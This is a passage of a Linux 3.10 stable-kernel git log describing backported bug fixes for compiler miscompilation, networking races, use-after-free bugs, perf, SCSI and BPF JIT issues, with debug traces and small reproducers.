on the 32-bit ARM port of UEFI, I noticed a strange corruption in the kernel log. The following snprintf() statement (in drivers/firmware/efi/efi.c:efi_md_typeattr_format()) snprintf(pos, size, "|%3s|%2s|%2s|%2s|%3s|%2s|%2s|%2s|%2s]", was producing the following output in the log: | | | | | |WB|WT|WC|UC] | | | | | |WB|WT|WC|UC] | | | | | |WB|WT|WC|UC] |RUN| | | | |WB|WT|WC|UC]* |RUN| | | | |WB|WT|WC|UC]* | | | | | |WB|WT|WC|UC] |RUN| | | | |WB|WT|WC|UC]* | | | | | |WB|WT|WC|UC] |RUN| | | | | | | |UC] |RUN| | | | | | | |UC] As it turns out, this is caused by incorrect code being emitted for the string() function in lib/vsprintf.c. The following code if (!(spec.flags & LEFT)) { while (len < spec.field_width--) { if (buf < end) *buf = ' '; ++buf; } } for (i = 0; i < len; ++i) { if (buf < end) *buf = *s; ++buf; ++s; } while (len < spec.field_width--) { if (buf < end) *buf = ' '; ++buf; } when called with len == 0, triggers an issue in the GCC SRA optimization pass (Scalar Replacement of Aggregates), which handles promotion of signed struct members incorrectly. This is a known but as yet unresolved issue. (https://gcc.gnu.org/bugzilla/show_bug.cgi?id=65932). In this particular case, it is causing the second while loop to be executed erroneously a single time, causing the additional space characters to be printed. So disable the optimization by passing -fno-ipa-sra. Acked-by: Nicolas Pitre Signed-off-by: Ard Biesheuvel Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec23e5dc2a11023e7cdebe3b682bc274e29b04e1 Author: Arnaldo Carvalho de Melo Date: Fri Sep 11 12:36:12 2015 -0300 perf header: Fixup reading of HEADER_NRCPUS feature commit caa470475d9b59eeff093ae650800d34612c4379 upstream. The original patch introducing this header wrote the number of CPUs available and online in one order and then swapped those values when reading, fix it. Before: # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 4 # echo 0 > /sys/devices/system/cpu/cpu2/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 3 # echo 0 > /sys/devices/system/cpu/cpu1/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 2 After the fix, bringing back the CPUs online: # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 2 # nrcpus avail : 4 # echo 1 > /sys/devices/system/cpu/cpu2/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 3 # nrcpus avail : 4 # echo 1 > /sys/devices/system/cpu/cpu1/online # perf record usleep 1 # perf report --header-only | grep 'nrcpus \(online\|avail\)' # nrcpus online : 4 # nrcpus avail : 4 Acked-by: Namhyung Kim Cc: Adrian Hunter Cc: Borislav Petkov Cc: David Ahern Cc: Frederic Weisbecker Cc: Jiri Olsa Cc: Kan Liang Cc: Stephane Eranian Cc: Wang Nan Fixes: fbe96f29ce4b ("perf tools: Make perf.data more self-descriptive (v8)") Link: http://lkml.kernel.org/r/20150911153323.GP23511@kernel.org Signed-off-by: Arnaldo Carvalho de Melo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f8e95ccafb50225575866d45f165987549fde581 Author: Michal Hocko Date: Thu Aug 27 20:16:37 2015 +0200 scsi: fix scsi_error_handler vs. scsi_host_dev_release race commit 537b604c8b3aa8b96fe35f87dd085816552e294c upstream. b9d5c6b7ef57 ("[SCSI] cleanup setting task state in scsi_error_handler()") has introduced a race between scsi_error_handler and scsi_host_dev_release resulting in the hang when the device goes away because scsi_error_handler might miss a wake up: CPU0 CPU1 scsi_error_handler scsi_host_dev_release kthread_stop() kthread_should_stop() test_bit(KTHREAD_SHOULD_STOP) set_bit(KTHREAD_SHOULD_STOP) wake_up_process() wait_for_completion() set_current_state(TASK_INTERRUPTIBLE) schedule() The most straightforward solution seems to be to invert the ordering of the set_current_state and kthread_should_stop. The issue has been noticed during reboot test on a 3.0 based kernel but the current code seems to be affected in the same way. [jejb: additional comment added] Reported-and-debugged-by: Mike Mayer Signed-off-by: Michal Hocko Reviewed-by: Dan Williams Reviewed-by: Hannes Reinecke Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3a470fbde364168403ebdba34ca42a56c3b64ce7 Author: Greg Kroah-Hartman Date: Thu Oct 1 12:07:55 2015 +0200 Linux 3.10.90 Signed-off-by: Pranav Vashi commit b38a43d87b1121da504c6024e25043d9e4d0f829 Author: Markus Pargmann Date: Wed Jul 29 15:46:03 2015 +0200 Revert "iio: bmg160: IIO_BUFFER and IIO_TRIGGERED_BUFFER are required" This reverts commit 35c45e8bce3c92fb1ff94d376f1d4bfaae079d66 which was commit 06d2f6ca5a38abe92f1f3a132b331eee773868c3 upstream as it should not have been applied. Reported-by: Luis Henriques Cc: Markus Pargmann Cc: Srinivas Pandruvada Cc: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b338c70d1dca70a362b69d8beef60598a0365cd9 Author: Eric W. Biederman Date: Sun May 24 09:25:00 2015 -0500 vfs: Remove incorrect debugging WARN in prepend_path commit 93e3bce6287e1fb3e60d3324ed08555b5bbafa89 upstream. The warning message in prepend_path is unclear and outdated. It was added as a warning that the mechanism for generating names of pseudo files had been removed from prepend_path and d_dname should be used instead. Unfortunately the warning reads like a general warning, making it unclear what to do with it. Remove the warning. The transition it was added to warn about is long over, and I added code several years ago which in rare cases causes the warning to fire on legitimate code, and the warning is now firing and scaring people for no good reason. Reported-by: Ivan Delalande Reported-by: Omar Sandoval Fixes: f48cfddc6729e ("vfs: In d_path don't call d_dname on a mount point") Signed-off-by: "Eric W. Biederman" [ vlee: Backported to 3.10. Adjusted context. ] Signed-off-by: Vinson Lee Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 61289bee52750995d48ca5f20e2e51036b31a05c Author: Wilson Kok Date: Tue Sep 22 21:40:22 2015 -0700 fib_rules: fix fib rule dumps across multiple skbs [ Upstream commit 41fc014332d91ee90c32840bf161f9685b7fbf2b ] dump_rules returns skb length and not error. But when family == AF_UNSPEC, the caller of dump_rules assumes that it returns an error. Hence, when family == AF_UNSPEC, we continue trying to dump on -EMSGSIZE errors resulting in incorrect dump idx carried between skbs belonging to the same dump. This results in fib rule dump always only dumping rules that fit into the first skb. This patch fixes dump_rules to return error so that we exit correctly and idx is correctly maintained between skbs that are part of the same dump. Signed-off-by: Wilson Kok Signed-off-by: Roopa Prabhu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 13be13615411fa13060f53575691eab0b83f6abc Author: Marcelo Ricardo Leitner Date: Thu Sep 10 17:31:15 2015 -0300 sctp: fix race on protocol/netns initialization [ Upstream commit 8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4 ] Consider sctp module is unloaded and is being requested because an user is creating a sctp socket. During initialization, sctp will add the new protocol type and then initialize pernet subsys: status = sctp_v4_protosw_init(); if (status) goto err_protosw_init; status = sctp_v6_protosw_init(); if (status) goto err_v6_protosw_init; status = register_pernet_subsys(&sctp_net_ops); The problem is that after those calls to sctp_v{4,6}_protosw_init(), it is possible for userspace to create SCTP sockets like if the module is already fully loaded. If that happens, one of the possible effects is that we will have readers for net->sctp.local_addr_list list earlier than expected and sctp_net_init() does not take precautions while dealing with that list, leading to a potential panic but not limited to that, as sctp_sock_init() will copy a bunch of blank/partially initialized values from net->sctp. The race happens like this: CPU 0 | CPU 1 socket() | __sock_create | socket() inet_create | __sock_create list_for_each_entry_rcu( | answer, &inetsw[sock->type], | list) { | inet_create /* no hits */ | if (unlikely(err)) { | ... | request_module() | /* socket creation is blocked | * the module is fully loaded | */ | sctp_init | sctp_v4_protosw_init | inet_register_protosw | list_add_rcu(&p->list, | last_perm); | | list_for_each_entry_rcu( | answer, &inetsw[sock->type], sctp_v6_protosw_init | list) { | /* hit, so assumes protocol | * is already loaded | */ | /* socket creation continues | * before netns is initialized | */ register_pernet_subsys | Simply inverting the initialization order between register_pernet_subsys() and sctp_v4_protosw_init() is not possible because register_pernet_subsys() will create a control sctp socket, so the protocol must be already visible by then. Deferring the socket creation to a work-queue is not good specially because we loose the ability to handle its errors. So, as suggested by Vlad, the fix is to split netns initialization in two moments: defaults and control socket, so that the defaults are already loaded by when we register the protocol, while control socket initialization is kept at the same moment it is today. Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") Signed-off-by: Vlad Yasevich Signed-off-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c742a78bcfcfcbbf3d2187f921730151c4b9e938 Author: Richard Laing Date: Thu Sep 3 13:52:31 2015 +1200 net/ipv6: Correct PIM6 mrt_lock handling [ Upstream commit 25b4a44c19c83d98e8c0807a7ede07c1f28eab8b ] In the IPv6 multicast routing code the mrt_lock was not being released correctly in the MFC iterator, as a result adding or deleting a MIF would cause a hang because the mrt_lock could not be acquired. This fix is a copy of the code for the IPv4 case and ensures that the lock is released correctly. Signed-off-by: Richard Laing Acked-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d6727fda7369b6f50963eb65f584e3c000c487bb Author: Daniel Borkmann Date: Thu Sep 3 00:29:07 2015 +0200 ipv6: fix exthdrs offload registration in out_rt path [ Upstream commit e41b0bedba0293b9e1e8d1e8ed553104b9693656 ] We previously register IPPROTO_ROUTING offload under inet6_add_offload(), but in error path, we try to unregister it with inet_del_offload(). This doesn't seem correct, it should actually be inet6_del_offload(), also ipv6_exthdrs_offload_exit() from that commit seems rather incorrect (it also uses rthdr_offload twice), but it got removed entirely later on. Fixes: 3336288a9fea ("ipv6: Switch to using new offload infrastructure.") Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c73df0980f6fd6cf99d7c6e93af38fae01ca66b8 Author: Eugene Shatokhin Date: Mon Aug 24 23:13:42 2015 +0300 usbnet: Get EVENT_NO_RUNTIME_PM bit before it is cleared [ Upstream commit f50791ac1aca1ac1b0370d62397b43e9f831421a ] It is needed to check EVENT_NO_RUNTIME_PM bit of dev->flags in usbnet_stop(), but its value should be read before it is cleared when dev->flags is set to 0. The problem was spotted and the fix was provided by Oliver Neukum . Signed-off-by: Eugene Shatokhin Acked-by: Oliver Neukum Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 717b0b7d9e860aca4c3bc890c58afefb98f62a0f Author: huaibin Wang Date: Tue Aug 25 16:20:34 2015 +0200 ip6_gre: release cached dst on tunnel removal [ Upstream commit d4257295ba1b389c693b79de857a96e4b7cd8ac0 ] When a tunnel is deleted, the cached dst entry should be released. This problem may prevent the removal of a netns (seen with a x-netns IPv6 gre tunnel): unregister_netdevice: waiting for lo to become free. Usage count = 3 CC: Dmitry Kozlov Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Signed-off-by: huaibin Wang Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ee3d4395098206707749546d7bbb97e3a13c69aa Author: Dan Carpenter Date: Sat Aug 1 15:33:26 2015 +0300 rds: fix an integer overflow test in rds_info_getsockopt() [ Upstream commit 468b732b6f76b138c0926eadf38ac88467dcd271 ] "len" is a signed integer. We check that len is not negative, so it goes from zero to INT_MAX. PAGE_SIZE is unsigned long so the comparison is type promoted to unsigned long. ULONG_MAX - 4095 is a higher than INT_MAX so the condition can never be true. I don't know if this is harmful but it seems safe to limit "len" to INT_MAX - 4095. Fixes: a8c879a7ee98 ('RDS: Info and stats') Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b44de34709aaa5402b098a6c108c29ba32c43a18 Author: Florian Westphal Date: Tue Jul 21 16:33:50 2015 +0200 netlink: don't hold mutex in rcu callback when releasing mmapd ring [ Upstream commit 0470eb99b4721586ccac954faac3fa4472da0845 ] Kirill A. Shutemov says: This simple test-case trigers few locking asserts in kernel: int main(int argc, char **argv) { unsigned int block_size = 16 * 4096; struct nl_mmap_req req = { .nm_block_size = block_size, .nm_block_nr = 64, .nm_frame_size = 16384, .nm_frame_nr = 64 * block_size / 16384, }; unsigned int ring_size; int fd; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (setsockopt(fd, SOL_NETLINK, NETLINK_RX_RING, &req, sizeof(req)) < 0) exit(1); if (setsockopt(fd, SOL_NETLINK, NETLINK_TX_RING, &req, sizeof(req)) < 0) exit(1); ring_size = req.nm_block_nr * req.nm_block_size; mmap(NULL, 2 * ring_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); return 0; } +++ exited with 0 +++ BUG: sleeping function called from invalid context at /home/kas/git/public/linux-mm/kernel/locking/mutex.c:616 in_atomic(): 1, irqs_disabled(): 0, pid: 1, name: init 3 locks held by init/1: #0: (reboot_mutex){+.+...}, at: [] SyS_reboot+0xa9/0x220 #1: ((reboot_notifier_list).rwsem){.+.+..}, at: [] __blocking_notifier_call_chain+0x39/0x70 #2: (rcu_callback){......}, at: [] rcu_do_batch.isra.49+0x160/0x10c0 Preemption disabled at:[] __delay+0xf/0x20 CPU: 1 PID: 1 Comm: init Not tainted 4.1.0-00009-gbddf4c4818e0 #253 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS Debian-1.8.2-1 04/01/2014 ffff88017b3d8000 ffff88027bc03c38 ffffffff81929ceb 0000000000000102 0000000000000000 ffff88027bc03c68 ffffffff81085a9d 0000000000000002 ffffffff81ca2a20 0000000000000268 0000000000000000 ffff88027bc03c98 Call Trace: [] dump_stack+0x4f/0x7b [] ___might_sleep+0x16d/0x270 [] __might_sleep+0x4d/0x90 [] mutex_lock_nested+0x2f/0x430 [] ? _raw_spin_unlock_irqrestore+0x5d/0x80 [] ? __this_cpu_preempt_check+0x13/0x20 [] netlink_set_ring+0x1ed/0x350 [] ? netlink_undo_bind+0x70/0x70 [] netlink_sock_destruct+0x80/0x150 [] __sk_free+0x1d/0x160 [] sk_free+0x19/0x20 [..] Cong Wang says: We can't hold mutex lock in a rcu callback, [..] Thomas Graf says: The socket should be dead at this point. It might be simpler to add a netlink_release_ring() function which doesn't require locking at all. Reported-by: "Kirill A. Shutemov" Diagnosed-by: Cong Wang Suggested-by: Thomas Graf Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15b52cb3bd68e4011cf9ab83329be364313b10ce Author: Edward Hyunkoo Jee Date: Tue Jul 21 09:43:59 2015 +0200 inet: frags: fix defragmented packet's IP header for af_packet [ Upstream commit 0848f6428ba3a2e42db124d41ac6f548655735bf ] When ip_frag_queue() computes positions, it assumes that the passed sk_buff does not contain L2 headers. However, when PACKET_FANOUT_FLAG_DEFRAG is used, IP reassembly functions can be called on outgoing packets that contain L2 headers. Also, IPv4 checksum is not corrected after reassembly. Fixes: 7736d33f4262 ("packet: Add pre-defragmentation support for ipv4 fanouts.") Signed-off-by: Edward Hyunkoo Jee Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Cc: Jerry Chu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe700583161fba57619e38b87b0daf695141b3b2 Author: Nikolay Aleksandrov Date: Wed Jul 15 21:52:51 2015 +0200 bonding: fix destruction of bond with devices different from arphrd_ether [ Upstream commit 06f6d1094aa0992432b1e2a0920b0ee86ccd83bf ] When the bonding is being unloaded and the netdevice notifier is unregistered it executes NETDEV_UNREGISTER for each device which should remove the bond's proc entry but if the device enslaved is not of ARPHRD_ETHER type and is in front of the bonding, it may execute bond_release_and_destroy() first which would release the last slave and destroy the bond device leaving the proc entry and thus we will get the following error (with dynamic debug on for bond_netdev_event to see the events order): [ 908.963051] eql: event: 9 [ 908.963052] eql: IFF_SLAVE [ 908.963054] eql: event: 2 [ 908.963056] eql: IFF_SLAVE [ 908.963058] eql: event: 6 [ 908.963059] eql: IFF_SLAVE [ 908.963110] bond0: Releasing active interface eql [ 908.976168] bond0: Destroying bond bond0 [ 908.976266] bond0 (unregistering): Released all slaves [ 908.984097] ------------[ cut here ]------------ [ 908.984107] WARNING: CPU: 0 PID: 1787 at fs/proc/generic.c:575 remove_proc_entry+0x112/0x160() [ 908.984110] remove_proc_entry: removing non-empty directory 'net/bonding', leaking at least 'bond0' [ 908.984111] Modules linked in: bonding(-) eql(O) 9p nfsd auth_rpcgss oid_registry nfs_acl nfs lockd grace fscache sunrpc crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel ppdev qxl drm_kms_helper snd_hda_codec_generic aesni_intel ttm aes_x86_64 glue_helper pcspkr lrw gf128mul ablk_helper cryptd snd_hda_intel virtio_console snd_hda_codec psmouse serio_raw snd_hwdep snd_hda_core 9pnet_virtio 9pnet evdev joydev drm virtio_balloon snd_pcm snd_timer snd soundcore i2c_piix4 i2c_core pvpanic acpi_cpufreq parport_pc parport processor thermal_sys button autofs4 ext4 crc16 mbcache jbd2 hid_generic usbhid hid sg sr_mod cdrom ata_generic virtio_blk virtio_net floppy ata_piix e1000 libata ehci_pci virtio_pci scsi_mod uhci_hcd ehci_hcd virtio_ring virtio usbcore usb_common [last unloaded: bonding] [ 908.984168] CPU: 0 PID: 1787 Comm: rmmod Tainted: G W O 4.2.0-rc2+ #8 [ 908.984170] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 908.984172] 0000000000000000 ffffffff81732d41 ffffffff81525b34 ffff8800358dfda8 [ 908.984175] ffffffff8106c521 ffff88003595af78 ffff88003595af40 ffff88003e3a4280 [ 908.984178] ffffffffa058d040 0000000000000000 ffffffff8106c59a ffffffff8172ebd0 [ 908.984181] Call Trace: [ 908.984188] [] ? dump_stack+0x40/0x50 [ 908.984193] [] ? warn_slowpath_common+0x81/0xb0 [ 908.984196] [] ? warn_slowpath_fmt+0x4a/0x50 [ 908.984199] [] ? remove_proc_entry+0x112/0x160 [ 908.984205] [] ? bond_destroy_proc_dir+0x26/0x30 [bonding] [ 908.984208] [] ? bond_net_exit+0x8e/0xa0 [bonding] [ 908.984217] [] ? ops_exit_list.isra.4+0x37/0x70 [ 908.984225] [] ? unregister_pernet_operations+0x8d/0xd0 [ 908.984228] [] ? unregister_pernet_subsys+0x1d/0x30 [ 908.984232] [] ? bonding_exit+0x23/0xdba [bonding] [ 908.984236] [] ? SyS_delete_module+0x18a/0x250 [ 908.984241] [] ? task_work_run+0x89/0xc0 [ 908.984244] [] ? entry_SYSCALL_64_fastpath+0x16/0x75 [ 908.984247] ---[ end trace 7c006ed4abbef24b ]--- Thus remove the proc entry manually if bond_release_and_destroy() is used. Because of the checks in bond_remove_proc_entry() it's not a problem for a bond device to change namespaces (the bug fixed by the Fixes commit) but since commit f9399814927ad ("bonding: Don't allow bond devices to change network namespaces.") that can't happen anyway. Reported-by: Carol Soto Signed-off-by: Nikolay Aleksandrov Fixes: a64d49c3dd50 ("bonding: Manage /proc/net/bonding/ entries from the netdev events") Tested-by: Carol L Soto Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b430acaedf94a1522df011181842c5de90bb220 Author: Eric Dumazet Date: Tue Jul 14 08:10:22 2015 +0200 ipv6: lock socket in ip6_datagram_connect() [ Upstream commit 03645a11a570d52e70631838cb786eb4253eb463 ] ip6_datagram_connect() is doing a lot of socket changes without socket being locked. This looks wrong, at least for udp_lib_rehash() which could corrupt lists because of concurrent udp_sk(sk)->udp_portaddr_hash accesses. Signed-off-by: Eric Dumazet Acked-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d34058f27f1eb7c0ad445312e0385f66bb160e27 Author: Tilman Schmidt Date: Tue Jul 14 00:37:13 2015 +0200 isdn/gigaset: reset tty->receive_room when attaching ser_gigaset [ Upstream commit fd98e9419d8d622a4de91f76b306af6aa627aa9c ] Commit 79901317ce80 ("n_tty: Don't flush buffer when closing ldisc"), first merged in kernel release 3.10, caused the following regression in the Gigaset M101 driver: Before that commit, when closing the N_TTY line discipline in preparation to switching to N_GIGASET_M101, receive_room would be reset to a non-zero value by the call to n_tty_flush_buffer() in n_tty's close method. With the removal of that call, receive_room might be left at zero, blocking data reception on the serial line. The present patch fixes that regression by setting receive_room to an appropriate value in the ldisc open method. Fixes: 79901317ce80 ("n_tty: Don't flush buffer when closing ldisc") Signed-off-by: Tilman Schmidt Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9c886ecf44876753ee970e45059bdbe50512a57c Author: Nikolay Aleksandrov Date: Mon Jul 13 06:36:19 2015 -0700 bridge: mdb: fix double add notification [ Upstream commit 5ebc784625ea68a9570d1f70557e7932988cd1b4 ] Since the mdb add/del code was introduced there have been 2 br_mdb_notify calls when doing br_mdb_add() resulting in 2 notifications on each add. Example: Command: bridge mdb add dev br0 port eth1 grp 239.0.0.1 permanent Before patch: root@debian:~# bridge monitor all [MDB]dev br0 port eth1 grp 239.0.0.1 permanent [MDB]dev br0 port eth1 grp 239.0.0.1 permanent After patch: root@debian:~# bridge monitor all [MDB]dev br0 port eth1 grp 239.0.0.1 permanent Signed-off-by: Nikolay Aleksandrov Fixes: cfd567543590 ("bridge: add support of adding and deleting mdb entries") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6a23fb0db01eff00c38d3fbcdb6e9c52f6f70f24 Author: Herbert Xu Date: Tue Aug 4 15:42:47 2015 +0800 net: Fix skb_set_peeked use-after-free bug [ Upstream commit a0a2a6602496a45ae838a96db8b8173794b5d398 ] The commit 738ac1ebb96d02e0d23bc320302a6ea94c612dec ("net: Clone skb before setting peeked flag") introduced a use-after-free bug in skb_recv_datagram. This is because skb_set_peeked may create a new skb and free the existing one. As it stands the caller will continue to use the old freed skb. This patch fixes it by making skb_set_peeked return the new skb (or the old one if unchanged). Fixes: 738ac1ebb96d ("net: Clone skb before setting peeked flag") Reported-by: Brenden Blanco Signed-off-by: Herbert Xu Tested-by: Brenden Blanco Reviewed-by: Konstantin Khlebnikov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7a433651eb99e42b55d30a852362347f3d8815a Author: Herbert Xu Date: Mon Jul 13 20:01:42 2015 +0800 net: Fix skb csum races when peeking [ Upstream commit 89c22d8c3b278212eef6a8cc66b570bc840a6f5a ] When we calculate the checksum on the recv path, we store the result in the skb as an optimisation in case we need the checksum again down the line. This is in fact bogus for the MSG_PEEK case as this is done without any locking. So multiple threads can peek and then store the result to the same skb, potentially resulting in bogus skb states. This patch fixes this by only storing the result if the skb is not shared. This preserves the optimisations for the few cases where it can be done safely due to locking or other reasons, e.g., SIOCINQ. Signed-off-by: Herbert Xu Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2b99849c32f841bb5384ccf72e33a08af7bd60b Author: Herbert Xu Date: Mon Jul 13 16:04:13 2015 +0800 net: Clone skb before setting peeked flag [ Upstream commit 738ac1ebb96d02e0d23bc320302a6ea94c612dec ] Shared skbs must not be modified and this is crucial for broadcast and/or multicast paths where we use it as an optimisation to avoid unnecessary cloning. The function skb_recv_datagram breaks this rule by setting peeked without cloning the skb first. This causes funky races which leads to double-free. This patch fixes this by cloning the skb and replacing the skb in the list when setting skb->peeked. Fixes: a59322be07c9 ("[UDP]: Only increment counter on first peek/recv") Reported-by: Konstantin Khlebnikov Signed-off-by: Herbert Xu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 295c670af0ffaa64fedd56ce24b761d91bba1ad9 Author: Julian Anastasov Date: Thu Jul 9 09:59:10 2015 +0300 net: call rcu_read_lock early in process_backlog [ Upstream commit 2c17d27c36dcce2b6bf689f41a46b9e909877c21 ] Incoming packet should be either in backlog queue or in RCU read-side section. Otherwise, the final sequence of flush_backlog() and synchronize_net() may miss packets that can run without device reference: CPU 1 CPU 2 skb->dev: no reference process_backlog:__skb_dequeue process_backlog:local_irq_enable on_each_cpu for flush_backlog => IPI(hardirq): flush_backlog - packet not found in backlog CPU delayed ... synchronize_net - no ongoing RCU read-side sections netdev_run_todo, rcu_barrier: no ongoing callbacks __netif_receive_skb_core:rcu_read_lock - too late free dev process packet for freed dev Fixes: 6e583ce5242f ("net: eliminate refcounting in backlog queue") Cc: Eric W. Biederman Cc: Stephen Hemminger Signed-off-by: Julian Anastasov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9bd15ab616f0ac0c9bb85960f1c10f59b73ddde Author: Oleg Nesterov Date: Wed Jul 8 21:42:11 2015 +0200 net: pktgen: fix race between pktgen_thread_worker() and kthread_stop() [ Upstream commit fecdf8be2d91e04b0a9a4f79ff06499a36f5d14f ] pktgen_thread_worker() is obviously racy, kthread_stop() can come between the kthread_should_stop() check and set_current_state(). Signed-off-by: Oleg Nesterov Reported-by: Jan Stancek Reported-by: Marcelo Leitner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83d411f90275f2cb796101a8b9d585941c21aa3d Author: Nikolay Aleksandrov Date: Tue Jul 7 15:55:56 2015 +0200 bridge: mdb: zero out the local br_ip variable before use [ Upstream commit f1158b74e54f2e2462ba5e2f45a118246d9d5b43 ] Since commit b0e9a30dd669 ("bridge: Add vlan id to multicast groups") there's a check in br_ip_equal() for a matching vlan id, but the mdb functions were not modified to use (or at least zero it) so when an entry was added it would have a garbage vlan id (from the local br_ip variable in __br_mdb_add/del) and this would prevent it from being matched and also deleted. So zero out the whole local ip var to protect ourselves from future changes and also to fix the current bug, since there's no vlan id support in the mdb uapi - use always vlan id 0. Example before patch: root@debian:~# bridge mdb add dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb del dev br0 port eth1 grp 239.0.0.1 permanent RTNETLINK answers: Invalid argument After patch: root@debian:~# bridge mdb add dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb del dev br0 port eth1 grp 239.0.0.1 permanent root@debian:~# bridge mdb Signed-off-by: Nikolay Aleksandrov Fixes: b0e9a30dd669 ("bridge: Add vlan id to multicast groups") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4a7fa859676c646158e65fb4b51703d4c5802800 Author: Stephen Smalley Date: Tue Jul 7 09:43:45 2015 -0400 net/tipc: initialize security state for new connection socket [ Upstream commit fdd75ea8df370f206a8163786e7470c1277a5064 ] Calling connect() with an AF_TIPC socket would trigger a series of error messages from SELinux along the lines of: SELinux: Invalid class 0 type=AVC msg=audit(1434126658.487:34500): avc: denied { } for pid=292 comm="kworker/u16:5" scontext=system_u:system_r:kernel_t:s0 tcontext=system_u:object_r:unlabeled_t:s0 tclass= permissive=0 This was due to a failure to initialize the security state of the new connection sock by the tipc code, leaving it with junk in the security class field and an unlabeled secid. Add a call to security_sk_clone() to inherit the security state from the parent socket. Reported-by: Tim Shearer Signed-off-by: Stephen Smalley Acked-by: Paul Moore Acked-by: Ying Xue Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 70ab4eece4856c981599fd4844ca5f10e10399fb Author: Angga Date: Fri Jul 3 14:40:52 2015 +1200 ipv6: Make MLD packets to only be processed locally [ Upstream commit 4c938d22c88a9ddccc8c55a85e0430e9c62b1ac5 ] Before commit daad151263cf ("ipv6: Make ipv6_is_mld() inline and use it from ip6_mc_input().") MLD packets were only processed locally. After the change, a copy of MLD packet goes through ip6_mr_input, causing MRT6MSG_NOCACHE message to be generated to user space. Make MLD packet only processed locally. Fixes: daad151263cf ("ipv6: Make ipv6_is_mld() inline and use it from ip6_mc_input().") Signed-off-by: Hermin Anggawijaya Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7edd47b42172d345453d899e462a9a59be282ef9 Author: Alexei Starovoitov Date: Fri May 22 15:42:55 2015 -0700 x86: bpf_jit: fix compilation of large bpf programs commit 3f7352bf21f8fd7ba3e2fcef9488756f188e12be upstream. x86 has variable length encoding. x86 JIT compiler is trying to pick the shortest encoding for given bpf instruction. While doing so the jump targets are changing, so JIT is doing multiple passes over the program. Typical program needs 3 passes. Some very short programs converge with 2 passes. Large programs may need 4 or 5. But specially crafted bpf programs may hit the pass limit and if the program converges on the last iteration the JIT compiler will be producing an image full of 'int 3' insns. Fix this corner case by doing final iteration over bpf program. Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64") Reported-by: Daniel Borkmann Signed-off-by: Alexei Starovoitov Tested-by: Daniel Borkmann Acked-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e691d7923fb1f32db134b0746034e2e1a4094b08 Author: Dan Carpenter Date: Thu Feb 5 10:37:33 2015 +0300 vhost/scsi: potential memory corruption commit 59c816c1f24df0204e01851431d3bab3eb76719c upstream. This code in vhost_scsi_make_tpg() is confusing because we limit 